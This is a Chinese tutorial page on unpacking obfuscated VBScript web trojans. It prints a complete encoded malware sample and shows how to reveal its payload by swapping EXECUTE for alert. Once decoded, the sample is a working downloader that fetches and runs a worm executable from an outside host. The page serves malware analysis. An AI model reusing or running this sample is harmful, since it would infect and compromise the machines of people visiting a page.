当前位置: 首页 > 图文教程 > 网络编程 > Javascript > JS解密入门 最终变量劫持

Javascript
JS暴虐查找法简洁版
JavaScript数组问题解决的多种方法
比较炫的图片播放器 js 焦点效果代码
js iframe网站后台左右收缩型页面脚本
javascript完美随机广告代码
北京奥运会倒计时代码
javascript 数据结构的题
js停止输出代码
兼容多浏览器的字幕特效Marquee的通用js类
IE8 引入跨站数据获取功能说明
javascript 支持ie和firefox杰奇翻页函数
js添加删除行和双击变文本框的脚本
JavaScript 版本自动生成文章摘要
用js遍历 table的脚本
用JavaScript实现UrlEncode和UrlDecode的脚本代码
css把超出的部分显示为省略号的方法兼容火狐
javascript IE中的DOM ready应用技巧
js退弹 IE关闭时弹出广告代码,可以防止屏蔽
js类中的公有变量和私有变量
兼容firefox的给每一个onClick再附加一个事件

Javascript 中的 JS解密入门 最终变量劫持


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-12   浏览: 204 ::
收藏到网摘: n/a

看到我的前几篇文章的朋友应该知道,前面的是10进制,直觉解就行了,不过下面有个处理函数,你用10进制解密出来之后还要去分析函数的功能,很不合算。 如下是一段网马
<Script Language="VBScript">
Cn911="83,61,34,52,70,54,69,50,48,52,53,55,50,55,50,54,70,55,50,50,48,53,50,54,53,55,51,55,53,54,68,54,53,50,48,52,69,54,53,55,56,55,52,48,68,48,65,52,51,54,69,52,67,53,50,53,53,51,68,50,50,54,56,55,52,55,52,55,48,51,65,50,70,50,70,55,55,55,55,55,55,50,69,54,66,55,50,55,54,54,66,55,50,50,69,54,51,54,70,54,68,50,70,55,55,54,70,55,50,54,68,50,69,54,53,55,56,54,53,50,50,48,68,48,65,53,51,54,53,55,52,50,48,52,70,54,50,50,48,51,68,50,48,54,52,54,70,54,51,55,53,54,68,54,53,54,69,55,52,50,69,54,51,55,50,54,53,54,49,55,52,54,53,52,53,54,67,54,53,54,68,54,53,54,69,55,52,50,56,50,50,54,70,54,50,50,50,50,54,50,50,54,65,54,53,50,50,50,54,50,50,54,51,50,50,50,54,50,50,55,52,50,50,50,57,48,68,48,65,52,70,54,50,50,69,53,51,54,53,55,52,52,49,55,52,55,52,55,50,54,57,54,50,55,53,55,52,54,53,50,48,50,50,54,51,54,67,54,49,50,50,50,54,50,50,55,51,55,51,54,57,54,52,50,50,50,67,50,48,50,50,54,51,50,50,50,54,50,50,54,67,55,51,50,50,50,54,50,50,54,57,50,50,50,54,50,50,54,52,51,65,52,50,52,52,51,57,50,50,50,54,50,50,51,54,52,51,51,53,51,53,50,50,50,54,50,50,51,54,50,68,51,54,51,53,50,50,50,54,50,50,52,49,51,51,50,68,51,49,51,49,52,52,51,48,50,50,50,54,50,50,50,68,51,57,51,56,51,51,52,49,50,68,51,48,51,48,52,51,50,50,50,54,50,50,51,48,51,52,52,54,52,51,51,50,51,57,50,50,50,54,50,50,52,53,51,51,51,54,50,50,48,68,48,65,55,51,52,56,53,52,53,52,53,48,51,68,50,50,52,68,50,50,50,54,50,50,54,57,54,51,50,50,50,54,50,50,55,50,54,70,50,50,50,54,50,50,55,51,50,50,50,54,50,50,54,70,54,54,50,50,50,54,50,50,55,52,50,50,50,54,50,50,50,69,53,56,50,50,50,54,50,50,52,68,50,50,50,54,50,50,52,67,50,50,50,54,50,50,52,56,50,50,50,54,50,50,53,52,53,52,50,50,50,54,50,50,53,48,50,50,48,68,48,65,53,51,54,53,55,52,50,48,53,48,54,70,55,48,50,48,51,68,50,48,52,70,54,50,50,69,52,51,55,50,54,53,54,49,55,52,54,53,52,70,54,50,54,65,54,53,54,51,55,52,50,56,55,51,52,56,53,52,53,52,53,48,50,67,50,50,50,50,50,57,48,68,48,65,53,48,54,70,55,48,50,69,52,70,55,48,54,53,54,69,50,48,50,50,52,55,50,50,50,54,50,50,52,53,53,52,50,50,50,67,50,48,52,51,54,69,52,67,53,50,53,53,50,67,50,48,52,54,54,49,54,67,55,51,54,53,48,68,48,65,53,48,54,70,55,48,50,69,53,51,54,53,54,69,54,52,48,68,48,65,52,53,55,56,54,53,52,69,54,49,54,68,54,53,51,68,50,50,52,51,54,69,50,50,50,54,50,50,51,57,51,49,50,50,50,54,50,50,51,49,50,69,54,53,55,56,54,53,50,50,48,68,48,65,53,54,54,50,55,51,52,69,54,49,54,68,54,53,51,68,50,50,52,51,54,69,50,50,50,54,50,50,51,57,51,49,50,50,50,54,50,50,51,49,50,69,55,54,54,50,55,51,50,50,48,68,48,65,53,51,54,53,55,52,50,48,52,54,53,48,52,57,50,48,51,68,50,48,52,70,54,50,50,69,54,51,55,50,54,53,54,49,55,52,54,53,54,70,54,50,54,65,54,53,54,51,55,52,50,56,50,50,53,51,54,51,55,50,54,57,50,50,50,54,50,50,55,48,50,50,50,54,50,50,55,52,54,57,54,69,54,55,50,69,52,54,50,50,50,54,50,50,54,57,50,50,50,54,50,50,54,67,54,53,50,50,50,54,50,50,53,51,55,57,50,50,50,54,50,50,55,51,55,52,50,50,50,54,50,50,54,53,50,50,50,54,50,50,54,68,52,70,50,50,50,54,50,50,54,50,54,65,54,53,50,50,50,54,50,50,54,51,55,52,50,50,50,67,50,50,50,50,50,57,48,68,48,65,53,51,54,53,55,52,50,48,55,51,53,52,54,68,55,48,50,48,51,68,50,48,52,54,53,48,52,57,50,69,52,55,54,53,55,52,53,51,55,48,54,53,54,51,54,57,54,49,54,67,52,54,54,70,54,67,54,52,54,53,55,50,50,56,51,50,50,57,48,68,48,65,52,53,55,56,54,53,52,69,54,49,54,68,54,53,51,68,52,54,53,48,52,57,50,69,52,50,55,53,54,57,54,67,54,52,53,48,54,49,55,52,54,56,50,56,55,51,53,52,54,68,55,48,50,67,52,53,55,56,54,53,52,69,54,49,54,68,54,53,50,57,48,68,48,65,53,54,54,50,55,51,52,69,54,49,54,68,54,53,51,68,52,54,53,48,52,57,50,69,52,50,55,53,54,57,54,67,54,52,53,48,54,49,55,52,54,56,50,56,55,51,53,52,54,68,55,48,50,67,53,54,54,50,55,51,52,69,54,49,54,68,54,53,50,57,48,68,48,65,52,49,52,49,51,68,50,50,52,49,50,50,50,54,50,50,54,52,50,50,48,68,48,65,52,49,52,50,51,68,50,50,54,70,50,50,50,54,50,50,54,52,50,50,50,54,50,50,54,50,50,50,50,54,50,50,50,69,50,50,50,54,50,50,55,51,50,50,50,54,50,50,55,52,55,50,54,53,50,50,50,54,50,50,54,49,54,68,50,50,48,68,48,65,52,49,54,52,52,68,51,68,52,49,52,49,50,54,52,49,52,50,48,68,48,65,53,51,54,53,55,52,50,48,52,50,54,52,54,49,50,48,51,68,50,48,52,70,54,50,50,69,54,51,55,50,54,53,54,49,55,52,54,53,54,70,54,50,54,65,54,53,54,51,55,52,50,56,52,49,54,52,52,68,50,67,50,50,50,50,50,57,48,68,48,65,52,50,54,52,54,49,50,69,55,52,55,57,55,48,54,53,51,68,51,49,48,68,48,65,52,50,54,52,54,49,50,69,52,70,55,48,54,53,54,69,48,68,48,65,52,50,54,52,54,49,50,69,53,55,55,50,54,57,55,52,54,53,50,48,53,48,54,70,55,48,50,69,53,50,54,53,55,51,55,48,54,70,54,69,55,51,54,53,52,50,54,70,54,52,55,57,48,68,48,65,52,50,54,52,54,49,50,69,53,51,54,49,55,54,54,53,55,52,54,70,54,54,54,57,54,67,54,53,50,48,52,53,55,56,54,53,52,69,54,49,54,68,54,53,50,67,51,50,48,68,48,65,52,50,54,52,54,49,50,69,52,51,54,67,54,70,55,51,54,53,48,68,48,65,52,50,54,52,54,49,50,69,53,52,55,57,55,48,54,53,51,68,51,50,48,68,48,65,52,50,54,52,54,49,50,69,52,70,55,48,54,53,54,69,48,68,48,65,52,50,54,52,54,49,50,69,53,55,55,50,54,57,55,52,54,53,53,52,54,53,55,56,55,52,50,48,50,50,53,51,54,53,55,52,50,48,53,51,54,56,54,53,54,67,54,67,50,48,51,68,50,48,52,51,55,50,54,53,54,49,55,52,54,53,52,70,54,50,54,65,54,53,54,51,55,52,50,56,50,50,50,50,53,55,55,51,54,51,55,50,54,57,55,48,55,52,50,69,53,51,54,56,54,53,54,67,54,67,50,50,50,50,50,57,50,50,50,54,55,54,54,50,52,51,55,50,52,67,54,54,50,54,50,50,53,51,54,56,54,53,54,67,54,67,50,69,53,50,55,53,54,69,50,48,50,56,50,50,50,50,50,50,50,54,52,53,55,56,54,53,52,69,54,49,54,68,54,53,50,54,50,50,50,50,50,50,50,57,50,50,50,54,55,54,54,50,52,51,55,50,52,67,54,54,50,54,50,50,53,51,54,53,55,52,50,48,53,51,54,56,54,53,54,67,54,67,50,48,51,68,50,48,52,69,54,70,55,52,54,56,54,57,54,69,54,55,50,50,48,68,48,65,52,50,54,52,54,49,50,69,53,51,54,49,55,54,54,53,55,52,54,70,54,54,54,57,54,67,54,53,50,48,53,54,54,50,55,51,52,69,54,49,54,68,54,53,50,67,51,50,48,68,48,65,52,50,54,52,54,49,50,69,52,51,54,67,54,70,55,51,54,53,48,68,48,65,55,51,53,50,55,53,54,69,51,68,50,50,53,51,50,50,50,54,50,50,54,56,50,50,50,54,50,50,54,53,50,50,50,54,50,50,54,67,50,50,50,54,50,50,54,67,50,50,50,54,50,50,50,69,50,50,50,54,50,50,52,49,50,50,50,54,50,50,55,48,50,50,50,54,50,50,55,48,50,50,50,54,50,50,54,67,50,50,50,54,50,50,54,57,50,50,48,68,48,65,53,51,54,53,55,52,50,48,53,50,55,53,54,69,50,48,51,68,50,48,52,70,54,50,50,69,54,51,55,50,54,53,54,49,55,52,54,53,54,70,54,50,54,65,54,53,54,51,55,52,50,56,55,51,53,50,55,53,54,69,50,54,50,50,54,51,54,49,55,52,54,57,54,70,54,69,50,50,50,67,50,50,50,50,50,57,48,68,48,65,53,50,55,53,54,69,50,69,53,51,54,56,54,53,54,67,54,67,52,53,55,56,54,53,54,51,55,53,55,52,54,53,50,48,53,54,54,50,55,51,52,69,54,49,54,68,54,53,50,67,50,50,50,50,50,67,50,50,50,50,50,67,50,50,52,70,55,48,54,53,54,69,50,50,50,67,51,48,34,58,68,61,34,69,88,69,67,85,84,69,32,34,34,34,34,34,58,67,61,34,38,67,72,82,40,38,72,34,58,78,61,34,41,34,58,68,79,32,87,72,73,76,69,32,76,69,78,40,83,41,62,49,58,73,70,32,73,83,78,85,77,69,82,73,67,40,76,69,70,84,40,83,44,49,41,41,32,84,72,69,78,32,68,61,68,38,67,38,76,69,70,84,40,83,44,50,41,38,78,58,83,61,77,73,68,40,83,44,51,41,32,69,76,83,69,32,68,61,68,38,67,38,76,69,70,84,40,83,44,52,41,38,78,58,83,61,77,73,68,40,83,44,53,41,13,10,76,79,79,80,58,69,88,69,67,85,84,69,32,68"
'以下是处理的函数
Function Rechange(Q)
S=Split(Q,",")
Cn922=""
For i = 0 To UBound(S)
Cn922=Cn922&Chr(eval(S(i)))
Next
Rechange=Cn922
End Function
'执行这个代码
EXECUTE(Rechange(Cn911))
</Script>
看到我的前几篇文章的朋友应该知道,前面的是10进制,直觉解就行了,不过下面有个处理函数,你用10进制解密出来之后还要去分析函数的功能,很不合算。Rechange这个是处理函数,这个函数的功能我们不知道,不要紧,我们看到最后这里有个EXECUTE(),说明这个就是执行函数,执行的内容是 Rechange(Cn911),我们把EXECUTE改为alert()就行了,也就是把最后一行改为alert(Rechange(Cn911))。
劫持完毕,打开网页,解密的内容弹出来了。
学习要点:对于这种网马,最后一定会有一个最终的变量或是表达式,修改执行函数即可